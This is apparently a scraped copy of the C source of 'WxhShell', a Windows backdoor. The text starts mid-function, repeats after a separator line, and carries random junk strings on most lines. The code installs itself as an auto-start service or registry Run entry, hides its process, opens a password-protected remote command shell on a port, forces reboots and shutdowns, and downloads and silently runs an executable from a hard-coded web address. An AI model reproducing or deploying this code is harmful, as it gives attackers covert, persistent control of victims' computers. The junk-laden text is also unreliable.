    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,xGkE7=5  
    else { FKPI{l  
    closesocket(wsh); 9kcAMk1K  
    ExitThread(0); i -+B{H  
    } HQ"D>hsuU  
    break; *&7Av7S  
    } @<_4Nb  
  // 获取shell 'j|;M  
  case 's': { MOXDR  
    CmdShell(wsh); 2!A/]:[F  
    closesocket(wsh); d:3G4g  
    ExitThread(0); ."${.BPn~  
    break; >354O6  
  } =4G9ev 4  
  // 退出 Hc71 .rqS  
  case 'x': { krgsmDi7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _|3n h;-m  
    CloseIt(wsh); N G4wtDa  
    break; h<[o;E  
    } Jf 2  
  // 离开 6 LC*X  
  case 'q': { YQ&Xd/z-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l78zS'  
    closesocket(wsh); mDtD7FzJ  
    WSACleanup(); t<rhrW75P  
    exit(1);  vO 3fAB  
    break; 2|+**BxHD  
        } e(cctC|l  
  } (V*ggii@  
  } M^a QH/=:"  
Gt'%:9r  
  // 提示信息 I_4'9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P'[w9'B  
} u>}k+8~  
  } Eg>MG87  
_jp8;M~Z  
  return; F9N)UW:w  
} bPWIf*3#  
|+%K89W  
// shell模块句柄 0]&~ddL  
int CmdShell(SOCKET sock) $w{#o E  
{ fDf:Jec`[  
STARTUPINFO si; ~u3E+w  
ZeroMemory(&si,sizeof(si)); Ao2t=vg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $5l8V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @wb V@  
PROCESS_INFORMATION ProcessInfo; 88G Q  F  
char cmdline[]="cmd"; al1Uf]xh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5F $W^N  
  return 0; smJ%^'x  
} L9(fa+$+#  
|oa 9 g2  
// 自身启动模式 \)pk/  
int StartFromService(void) r\Zz=~![<  
{ ;kY'DKL(  
typedef struct #7GbG\  
{ |,|b~>  
  DWORD ExitStatus; 3DbS\jja  
  DWORD PebBaseAddress; S 7RB` I5  
  DWORD AffinityMask; ,*Jm\u  
  DWORD BasePriority; ?Jio9Zr  
  ULONG UniqueProcessId; YvRMUT  
  ULONG InheritedFromUniqueProcessId; Gz@'W%6yaV  
}   PROCESS_BASIC_INFORMATION; $3k5hDA0e  
"*a^_tsT?i  
PROCNTQSIP NtQueryInformationProcess; /2 ')u|  
gq!| 0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4gzrxV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j'g':U  
> -OQk"o  
  HANDLE             hProcess; #}3$n/  
  PROCESS_BASIC_INFORMATION pbi; WbB0{s  
+Ccj @#M;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6"b =aPTi  
  if(NULL == hInst ) return 0; @Pb!:HeJE  
A46Xei:Ow  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f 0D9Mp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ 7X0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k%Jv%m}aB  
Mt"j< ]EW  
  if (!NtQueryInformationProcess) return 0; C;QIp6"1  
0x*L"HD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r&U5w^p  
  if(!hProcess) return 0; F6`$5%$M;?  
8K=sx @l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1--_E,Su>  
x8+W9i0[1  
  CloseHandle(hProcess); v@(Y:\>  
,onOwPz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fL>>hBCqC  
if(hProcess==NULL) return 0; fO|oV0Rw  
)5Mf,  
HMODULE hMod; [9Q}e;T  
char procName[255]; e@|/, W   
unsigned long cbNeeded; Wz',>&a  
DE M;)-D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *EY^t=  
;Sl]8IZ  
  CloseHandle(hProcess); [oqb@J2  
=^#^Mq)  
if(strstr(procName,"services")) return 1; // 以服务启动 lu2"?y[2  
<?zn k8|  
  return 0; // 注册表启动 6qp2C]9=  
} VPBlU  
ZUPlMHc  
// 主模块 pCb3^# &o  
int StartWxhshell(LPSTR lpCmdLine) 9M8 n  
{ _\uyS',  
  SOCKET wsl; I:?1(.kd2-  
BOOL val=TRUE; sTv;Ogs.  
  int port=0; g:V8"'  
  struct sockaddr_in door; pu3ly&T#a_  
:!Ea.v  
  if(wscfg.ws_autoins) Install(); 5'*v-l,[  
d)d\h`=Z  
port=atoi(lpCmdLine); {kVhht]X  
S&N[@G  
if(port<=0) port=wscfg.ws_port; VjsQy>5m  
U (*k:Fw  
  WSADATA data; kB:6e7D|[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6d4)7PL  
ZxW4 i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2GkJ7cL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  #4?Z|_j3  
  door.sin_family = AF_INET; RHe'L36W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bruM#T@}  
  door.sin_port = htons(port); &ZmWR  
]w*w@:Zk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t{A/Lq9AM  
closesocket(wsl); lM/)<I\8  
return 1; Ni bOtIZ  
} , z8<[Q-#  
vK@t=d  
  if(listen(wsl,2) == INVALID_SOCKET) { wd 86 y  
closesocket(wsl); SY&)?~C  
return 1; :s(vn Ie^  
} 1FC' iGI  
  Wxhshell(wsl); 1j4(/A  
  WSACleanup(); 1T96W :   
0{0BL@H  
return 0; ^6c=[N$aW  
Pi7IBz  
} bvpP/LeY  
G3r9@ 2OC  
// 以NT服务方式启动 01~&H8 =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &T"X kgU5  
{ hqr V {c  
DWORD   status = 0; t.f#_C\  
  DWORD   specificError = 0xfffffff; #RIo6 3  
n\CQ-*;l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6<E4?<O%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2pu8')'P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g3*" ^C2=  
  serviceStatus.dwWin32ExitCode     = 0;  J^"  
  serviceStatus.dwServiceSpecificExitCode = 0; .~>Uh3S  
  serviceStatus.dwCheckPoint       = 0; X"'c2gaa_  
  serviceStatus.dwWaitHint       = 0; T8*<  
O:K={#Xj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `VJJ"v<L  
  if (hServiceStatusHandle==0) return; R> r@[$z+  
vbXZZ  
status = GetLastError(); +*Um:}&  
  if (status!=NO_ERROR) IG}`~% Z  
{ iobL6SUZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qQz f&"  
    serviceStatus.dwCheckPoint       = 0; "otks\I<  
    serviceStatus.dwWaitHint       = 0; &2i3"9k  
    serviceStatus.dwWin32ExitCode     = status; 7-*QF>w<a  
    serviceStatus.dwServiceSpecificExitCode = specificError; IYb%f T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <|,0%bq)|  
    return; ]6#7TT  
  } +vR$%  
aVI%FycYo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eJh4hp;x  
  serviceStatus.dwCheckPoint       = 0; 2`|1 !x  
  serviceStatus.dwWaitHint       = 0; }\p>h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Pv_5LAo  
} ^7cZ9/3  
wTT_jyH)  
// 处理NT服务事件,比如:启动、停止 g`(' k5=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =SY5E{`4p  
{ aN\ps g  
switch(fdwControl) yW3X<  
{ X[F<sxw  
case SERVICE_CONTROL_STOP: XI>|"*-l  
  serviceStatus.dwWin32ExitCode = 0; aqa%B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T!GX^nn*O  
  serviceStatus.dwCheckPoint   = 0; Z33&FUU  
  serviceStatus.dwWaitHint     = 0; 7.G1Q]6/  
  { 5)%bnLxn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GoVB1)  
  } G'*_7HD  
  return; zP[_ccW@  
case SERVICE_CONTROL_PAUSE: [8T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fa~u<m   
  break; d~ lB4  
case SERVICE_CONTROL_CONTINUE: eh@6trzp=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }=d]ke9_  
  break; Yn0l}=, n  
case SERVICE_CONTROL_INTERROGATE: q;Y9_5S  
  break; IB!^dhD!Q  
}; K]0Q=HY{.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y+ZQN>  
}  p^=>N9  
n9qO;X4&  
// 标准应用程序主函数 cy R K&J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 32DSZ0  
{ F4=+xd >0  
~S5wfx&  
// 获取操作系统版本 `vkNp8|  
OsIsNt=GetOsVer(); aFZu5-=x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v^Vr^!3  
XET'XJWF%  
  // 从命令行安装 2<Vw :+,  
  if(strpbrk(lpCmdLine,"iI")) Install(); HkGA$  
H,/|pP.  
  // 下载执行文件 35 Y#eU2]  
if(wscfg.ws_downexe) { bzI!;P1&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zvvF 9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 #fOrNU2  
}  zw13Tu  
QQQ3U  
if(!OsIsNt) { I|RMxx y;  
// 如果时win9x,隐藏进程并且设置为注册表启动 XxN=vL&m  
HideProc(); Y} '8`.  
StartWxhshell(lpCmdLine); ||{V*"+\  
} 5kX#qT=  
else uVO*@Kj+  
  if(StartFromService()) Pc= S^}+  
  // 以服务方式启动 1x\Vz\  
  StartServiceCtrlDispatcher(DispatchTable); M 5mCG  
else W%/lBkP  
  // 普通方式启动 ! 11x&Db  
  StartWxhshell(lpCmdLine); 50s)5G#  
^H0`UKE  
return 0; F4!,8)}  
} ^uU'Qc4S=  
{l/]+8G^  
A5d(L4Q]a(  
/ 7EeM{,~  
=========================================== 3YtFO;-  
]6W;~w%  
F vJJpPS  
$!+t2P@d.5  
6mawcK:7  
qDOJ;> I  
" 2u0dn?9\  
C'iJFf gR  
#include <stdio.h> (9;qV:0`  
#include <string.h> Gi<ik~  
#include <windows.h> 6 (:^>@  
#include <winsock2.h> (kECV8)2  
#include <winsvc.h> ZBDEE+8e  
#include <urlmon.h> (<u3<40[YN  
vV2px  
#pragma comment (lib, "Ws2_32.lib") aFI?^"L  
#pragma comment (lib, "urlmon.lib") ,bv?c@  
3 cd5 g  
#define MAX_USER   100 // 最大客户端连接数 ##%R|P3  
#define BUF_SOCK   200 // sock buffer R]oi&"H@r)  
#define KEY_BUFF   255 // 输入 buffer Q?Au.q],  
l\vvM>#S  
#define REBOOT     0   // 重启 njz:7]>e  
#define SHUTDOWN   1   // 关机 Tk9/1C{8  
j( *;W}*^  
#define DEF_PORT   5000 // 监听端口 z0@)@4z!  
In-W,   
#define REG_LEN     16   // 注册表键长度 V;b^b5yZ>  
#define SVC_LEN     80   // NT服务名长度 _g%Wx?K9  
T>"GH M  
// 从dll定义API m?Gb5=qo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A+JM* eB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p[Z'Fl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nN|zEw]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DYvi1X6  
8"C;I=]8  
// wxhshell配置信息 Jm%hb ,  
struct WSCFG { ^1&xt(G  
  int ws_port;         // 监听端口 .x$!Rc}  
  char ws_passstr[REG_LEN]; // 口令 (qE*z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4:!KtpR[O  
  char ws_regname[REG_LEN]; // 注册表键名 #8 N9@  
  char ws_svcname[REG_LEN]; // 服务名 3@k;"pFa<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "}uPz4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7e,EI9?.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "HWl7c3q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \wmNeGC2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  /MS*_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _IAvFJI  
S9sFC!s1g  
}; R5QSf+/T4  
l8n}&zX  
// default Wxhshell configuration Z%*_kk  
struct WSCFG wscfg={DEF_PORT, |?c v5l7E  
    "xuhuanlingzhe", |TOz{  
    1, $qN+BKd]3  
    "Wxhshell", cJ 5":^O  
    "Wxhshell", i!/V wGg  
            "WxhShell Service", C[j'0@~V:B  
    "Wrsky Windows CmdShell Service",  T)o)%Yv  
    "Please Input Your Password: ", ;SBM7fwRk  
  1, @Q"%a`mKH  
  "http://www.wrsky.com/wxhshell.exe", &hmyfH&S  
  "Wxhshell.exe" c;,jb  
    }; DzLm~ aF  
buGYHZu  
// 消息定义模块 RH,(8.&>r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; urT!?*g,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `pp"htm   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >@b7 0X!J]  
char *msg_ws_ext="\n\rExit."; &[BDqi  
char *msg_ws_end="\n\rQuit."; UQl3Tq4QM  
char *msg_ws_boot="\n\rReboot..."; nq#k}Qx:  
char *msg_ws_poff="\n\rShutdown..."; r4}:t$  
char *msg_ws_down="\n\rSave to "; f-5vE9G3y7  
^>?gFvWB%  
char *msg_ws_err="\n\rErr!"; 5 ^}zysY`  
char *msg_ws_ok="\n\rOK!"; Im{I23.2  
_oxc~v\<  
char ExeFile[MAX_PATH]; C7%+1w'D8  
int nUser = 0; @].Ko[P~  
HANDLE handles[MAX_USER]; %YhZ#>WT  
int OsIsNt; I71kFtvcy*  
&6/# O  
SERVICE_STATUS       serviceStatus; xz dqE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iMnp `:*  
mA5xke_)  
// 函数声明 zJ42%0g  
int Install(void); JLT ^0wBB  
int Uninstall(void); rj"oz"  
int DownloadFile(char *sURL, SOCKET wsh); _20nOg`o  
int Boot(int flag); E K ks8  
void HideProc(void); [wAI;=.  
int GetOsVer(void); "}PaMR]  
int Wxhshell(SOCKET wsl); D_,}lsrb  
void TalkWithClient(void *cs); 6xSdA;<+]  
int CmdShell(SOCKET sock); `gq@LP"o  
int StartFromService(void); 3_(fisvx  
int StartWxhshell(LPSTR lpCmdLine); n!mtMPH$  
be`\ O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,R=Mr}@u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h?2qX  
4oLrCQZ\  
// 数据结构和表定义 ![os5H.b#q  
SERVICE_TABLE_ENTRY DispatchTable[] = R9gK>}>Y  
{ e7/ b@  
{wscfg.ws_svcname, NTServiceMain}, k<uC[)_  
{NULL, NULL} sfez0Uqe.~  
}; vukI`(#  
@bdGV#* d  
// 自我安装 '+BcPB?E  
int Install(void) \H+/D &M  
{ 4os7tx  
  char svExeFile[MAX_PATH]; Wa~'p+<c~b  
  HKEY key; ^B2>lx\n  
  strcpy(svExeFile,ExeFile); E1:{5F5/  
b,YTw  
// 如果是win9x系统,修改注册表设为自启动 sW 7R&t!G  
if(!OsIsNt) { ]Y;E In  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 79<{cexP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L.bR\fE   
  RegCloseKey(key); oDul ?%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Klh7&HzR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )sG`sET]`f  
  RegCloseKey(key); F+Og8^!  
  return 0; +DS_'Tmr  
    } epi{Ayb  
  } m sS5"Qr  
} @giipF2$  
else { %'Ebm  
BY"<90kBL  
// 如果是NT以上系统,安装为系统服务 >6 [{\uPK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Px&*&^Gf[b  
if (schSCManager!=0) zYfn;s%A  
{ [gFpFz|b<  
  SC_HANDLE schService = CreateService P6* IR|  
  ( ]V J$;v'{[  
  schSCManager, 3dNOXk, #  
  wscfg.ws_svcname, 6=2M[T  
  wscfg.ws_svcdisp, wwVK15t  
  SERVICE_ALL_ACCESS, } pE<P;\]k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #/t^?$8\\  
  SERVICE_AUTO_START, Pq`]^^=be'  
  SERVICE_ERROR_NORMAL, ^R\0<\'  
  svExeFile, WlU^+ctS  
  NULL,  q%,q"WU  
  NULL, v-2O{^n  
  NULL, vMKmHq  
  NULL, {E!ie{~  
  NULL r6&f I"Yg  
  ); s%"3F<\  
  if (schService!=0) #\1;d8h  
  { oqOv"yLJ:  
  CloseServiceHandle(schService); |lAu6d !  
  CloseServiceHandle(schSCManager); \;&9h1?Mn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A1x?_S"a  
  strcat(svExeFile,wscfg.ws_svcname); <*0^X%Vf\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,tv P"@d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fk,[`n+  
  RegCloseKey(key);  .BJ;}  
  return 0; ac6Lv}w_  
    } =ZjF5,@  
  } x3O$eKy\|5  
  CloseServiceHandle(schSCManager); @U'I_` LL  
} %CJgJ,pk>  
} DSad[>Uj],  
W4Nbl  
return 1; @ae;&  
} #p}I 84Q  
eAS~>|N#x  
// 自我卸载 ECqcK~h#E  
int Uninstall(void) Y!* \=h6h  
{ B!H4 6w~  
  HKEY key; A~&Tp  
sG*1?  
if(!OsIsNt) { 6j@3C`Yd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "P`V|g  
  RegDeleteValue(key,wscfg.ws_regname); F)g.CDQ!c  
  RegCloseKey(key); :Lqz`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|e?91@vEa  
  RegDeleteValue(key,wscfg.ws_regname); wMNtN3   
  RegCloseKey(key); 6"C$]kF?  
  return 0; f.cIhZF  
  } msOk~ZPE6\  
} OoTMvZP[  
} vBAds  
else { 7H~StdL/>  
2V7x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `=^;q 6f  
if (schSCManager!=0) 8?!=/Sc  
{ oUXu;@l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IT]D;  
  if (schService!=0) bS_fWD-  
  { {-D2K:m  
  if(DeleteService(schService)!=0) { |&lAt \  
  CloseServiceHandle(schService); 9{\e E]0  
  CloseServiceHandle(schSCManager); w?]k$  
  return 0; %4?  
  } `!Ei H<H}  
  CloseServiceHandle(schService); I `:nb  
  } JPW+(n|g  
  CloseServiceHandle(schSCManager); 3\WLm4  
} 6=a($s!   
} 26un=  
0@z=0}0Z  
return 1; w%;Z`Xn&u  
} ORk8^0\  
p>7 !"RF:U  
// 从指定url下载文件 *#{[9d  
int DownloadFile(char *sURL, SOCKET wsh) kb{h`  
{ ';4DUh p  
  HRESULT hr; n_vopDMm  
char seps[]= "/"; 2 >G"A  
char *token; ycB>gd  
char *file; ]@_M)[ x  
char myURL[MAX_PATH]; A$ v Cm  
char myFILE[MAX_PATH]; I_N(e|s\U  
fvccut;K  
strcpy(myURL,sURL); 7JNhCOBB  
  token=strtok(myURL,seps); T ) T0.c  
  while(token!=NULL) ?-[.H^]s~  
  { 'eg?W_zu  
    file=token; &g;4;)p*8  
  token=strtok(NULL,seps); 9^l_\:4  
  } 8 &:  *<  
bv ,_7UOG  
GetCurrentDirectory(MAX_PATH,myFILE); ?<VahDBS+A  
strcat(myFILE, "\\"); f@Mm{3&.  
strcat(myFILE, file); nV'~uu  
  send(wsh,myFILE,strlen(myFILE),0); v`#T)5gl-  
send(wsh,"...",3,0); .PBma/w W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  pv1J6  
  if(hr==S_OK) xo/[,rR  
return 0; qV0C2jZ2  
else 1"{3v@yi  
return 1; e.9oB<Etp  
m@  b~  
} #]bWE$sU<  
lSU&Yqx  
// 系统电源模块 ~t\Hb8o  
int Boot(int flag) BoJ@bOe#  
{ 3{B`[$  
  HANDLE hToken; ]Ija,C!#  
  TOKEN_PRIVILEGES tkp; r#LoBfM;^A  
o mstJ9  
  if(OsIsNt) { Ga0= G&/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #"% ]1={b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Ku6 gEy  
    tkp.PrivilegeCount = 1; C=2"*>lTn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4Sv&iQ=vh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z[:fqvXQ  
if(flag==REBOOT) { s8iJl+Jm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  L>Bf}^  
  return 0; r2H_)Oi  
} qg?O+-+  
else { Fn0Rq9/@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )? WiO}"  
  return 0; OLpE0gZ.|`  
} v`8dRVN  
  } y)_T!&ze  
  else { vQCRs!A  
if(flag==REBOOT) { F3[3~r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PW)XDo7  
  return 0; vhiP8DQ  
} is_`UDaB  
else { f.rc~UI?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qYLOq `<f  
  return 0; 44_7gOZ  
} SA s wP  
} xh Sp<|X_  
vG9A'R'P  
return 1; ,W"Q)cL  
} uTY5.8  
>AIkkQT  
// win9x进程隐藏模块 ]v96Q/a  
void HideProc(void) @4dB$QF`&  
{ odAeBQy  
rQgRD)_%w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6+HpN"?e  
  if ( hKernel != NULL ) Zn&S7a>7  
  { X]d["  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l%@>)%LA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OpeK-K  
    FreeLibrary(hKernel); Dn;6O  
  } `ZL~k  
:{NvBxc[  
return; qXO@FW]  
} |,rIB  
BhC.#u/   
// 获取操作系统版本 ]h8[b9$<")  
int GetOsVer(void) ~ldqg2c  
{ xJ H]>#XJ  
  OSVERSIONINFO winfo; v#i,pBj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [U[saR\  
  GetVersionEx(&winfo); #x Z7%    
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'ms&ty*T  
  return 1; 3D>syf  
  else apQ` l^  
  return 0; 7A@GN A  
} 0X =Yly*m@  
& xOEp  
// 客户端句柄模块 GQ~wx1jj1  
int Wxhshell(SOCKET wsl) q]+'{Ci@  
{ Ru8k2d$B  
  SOCKET wsh; nE+OBdl  
  struct sockaddr_in client; tM3eB= .*  
  DWORD myID; D4WvRxki  
kx=.K'd5H  
  while(nUser<MAX_USER) Oi# F  
{ xu[6h?u(h8  
  int nSize=sizeof(client); 8/cD7O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y(QLlJ*)/  
  if(wsh==INVALID_SOCKET) return 1; k@r%>Ul@  
m3zmyw}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :^".cs?g  
if(handles[nUser]==0) *|S.[i_7  
  closesocket(wsh); `!{m#BBT}  
else K~Lh'6  
  nUser++; #hPa:I$Oc  
  } (bnyT?p%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z}74% 9qE  
)`5k fj  
  return 0; YSi[s*.G  
} YB{hQ<W  
r}ZL{uWMW  
// 关闭 socket K cI'P(  
void CloseIt(SOCKET wsh) 1"k"<{%  
{ y7J2: /@[x  
closesocket(wsh); Dj!v+<b  
nUser--; CjRI!}S  
ExitThread(0); []R`h*#  
} Yg_;Eu0'?  
tNf?pV77  
// 客户端请求句柄 P9(]9np,,  
void TalkWithClient(void *cs) L|hsGm\  
{ c\.Hs9T >  
T;/Y/Fd  
  SOCKET wsh=(SOCKET)cs; ?`R;ZT)U-  
  char pwd[SVC_LEN]; ZZ/F}9!=  
  char cmd[KEY_BUFF]; <n+?7`d,  
char chr[1]; )Zx;Z[  
int i,j; ox9$aBjJ  
O_@  
  while (nUser < MAX_USER) { ~"-+BG(5  
> cFH=um  
if(wscfg.ws_passstr) { ,m<t/@^]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yhF{ cK =  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yu8xTh$:  
  //ZeroMemory(pwd,KEY_BUFF); k@QU<cvI  
      i=0; V 2-fJ!  
  while(i<SVC_LEN) { _?]E)i'RI  
w7d(|`  
  // 设置超时 &|rh~;:jUX  
  fd_set FdRead; *7MTq_K(An  
  struct timeval TimeOut;   -58  
  FD_ZERO(&FdRead); Wp!#OY1?  
  FD_SET(wsh,&FdRead); Bn>"lDf,  
  TimeOut.tv_sec=8; nff X  
  TimeOut.tv_usec=0; Kgev*xg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0< i]ph  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^&gu{kP  
d&mSoPf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GF(<!PC  
  pwd=chr[0]; @lvvI<U  
  if(chr[0]==0xd || chr[0]==0xa) { I9JiH,+  
  pwd=0; K/)*P4C-  
  break; f0UB? |  
  } Y`$dtg {  
  i++; Z)=S. )  
    } QoagyL  
xw2dEvjgp%  
  // 如果是非法用户,关闭 socket M6yzqAh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [QC<u1/"K  
} x4@v$phyH  
d1MY>zq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z/#l~.o[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )a:j_jy  
_ U/[n\oC  
while(1) { U;%I" p`Z/  
8WT^ES~C  
  ZeroMemory(cmd,KEY_BUFF); .Z[Bz7  
px`o.%`'  
      // 自动支持客户端 telnet标准   9ure:Dko(Y  
  j=0; j,@N0~D5  
  while(j<KEY_BUFF) { []opPQ 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vaj4p""\F  
  cmd[j]=chr[0]; a~#MMl  
  if(chr[0]==0xa || chr[0]==0xd) { ci]IH]x  
  cmd[j]=0; 'rWu}#Nb  
  break; Mlr]-Gu5Z  
  } >cVEr+r9t  
  j++; |g o jb  
    } g.3 . C?  
xc|pl!ns  
  // 下载文件 \_H-TbU8  
  if(strstr(cmd,"http://")) { ,:RHhg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n.}A :Z  
  if(DownloadFile(cmd,wsh)) {R`,iWV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\{dq:  
  else ^;on  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O3U6"{yJ)  
  } .23z\M8 -  
  else { gu'Yk  
\FVm_)  
    switch(cmd[0]) { m 6V:x/'=  
  'A#`,^]uLF  
  // 帮助 8|:bis~wm  
  case '?': { K|"97{*|2  
